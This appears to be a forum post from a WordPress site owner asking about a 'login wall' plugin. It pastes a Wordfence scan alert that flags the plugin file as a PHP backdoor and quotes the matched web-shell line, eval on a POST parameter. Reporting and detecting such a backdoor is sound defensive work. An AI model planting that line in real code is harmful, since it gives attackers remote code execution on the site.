Hi..
plugin login wall is from you?
wordfence reports a critical error
File appears to be malicious: wp-content/plugins/Login-wall-aVcnD/login_wall.php
Type: File
Issue Found 9. 2. 2019 0:39
Critical
IGNORE
DETAILS
Filename: wp-content/plugins/Login-wall-aVcnD/login_wall.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: eval($_POST[‘coco’]);
The issue type is: Backdoor:PHP/maraz
Description: A backdoor that provides code execution